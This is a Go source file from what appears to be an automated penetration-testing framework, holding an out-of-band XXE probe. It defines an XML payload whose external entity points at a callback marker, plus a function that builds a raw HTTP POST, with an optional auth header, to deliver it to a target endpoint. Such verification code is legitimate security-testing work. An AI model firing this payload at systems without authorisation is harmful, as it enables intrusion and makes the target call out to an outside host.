package exploit

import (
	"fmt"
	"strings"

	"github.com/Armur-Ai/Pentest-Swarm-AI/internal/swarm/verify"
)

// xxeOOBPayload is an XML document declaring an external general entity that
// points at the §OOB§ callback and references it in the body. A parser that
// resolves external entities fetches the callback — the out-of-band proof of
// XXE. Kept non-destructive: it reads our own callback URL, nothing local.
const xxeOOBPayload = `<?xml version="1.0" encoding="UTF-8"?>` +
	`<!DOCTYPE pstest [<!ENTITY xxe SYSTEM "` + verify.OOBMarker + `">]>` +
	`<root><data>&xxe;</data></root>`

// XXEOOBSpec turns an XML-accepting endpoint into an out-of-band XXE re-proof
// recipe: it POSTs an XML body whose external entity points at the §OOB§
// callback. A server whose XML parser resolves external entities makes the
// outbound request — ground truth that no model produced. Silence never
// disproves (a hardened parser, egress filtering, or a non-XML endpoint all look
// like silence), matching the OOB oracle's honest asymmetry.
//
// targetURL is the XML-consuming endpoint; authHeader is an optional session
// credential. The payload is a raw XML body (no URL-encoding needed), so it is
// placed at the body marker verbatim. Returns an error if the result is invalid.
func XXEOOBSpec(targetURL, authHeader string) (*verify.ProbeSpec, error) {
	host, pathQuery := splitHostPath(targetURL)
	if host == "" {
		return nil, fmt.Errorf("xxe: no host in %q", targetURL)
	}
	var b strings.Builder
	b.WriteString("POST " + pathQuery + " HTTP/1.1\r\n")
	b.WriteString("Host: " + host + "\r\n")
	if authHeader != "" {
		b.WriteString("Authorization: " + authHeader + "\r\n")
	}
	b.WriteString("Content-Type: application/xml\r\n")
	b.WriteString("\r\n")
	b.WriteString(verify.DefaultMarker)
	return verify.NewOOBSpec(b.String(), "", xxeOOBPayload)
}
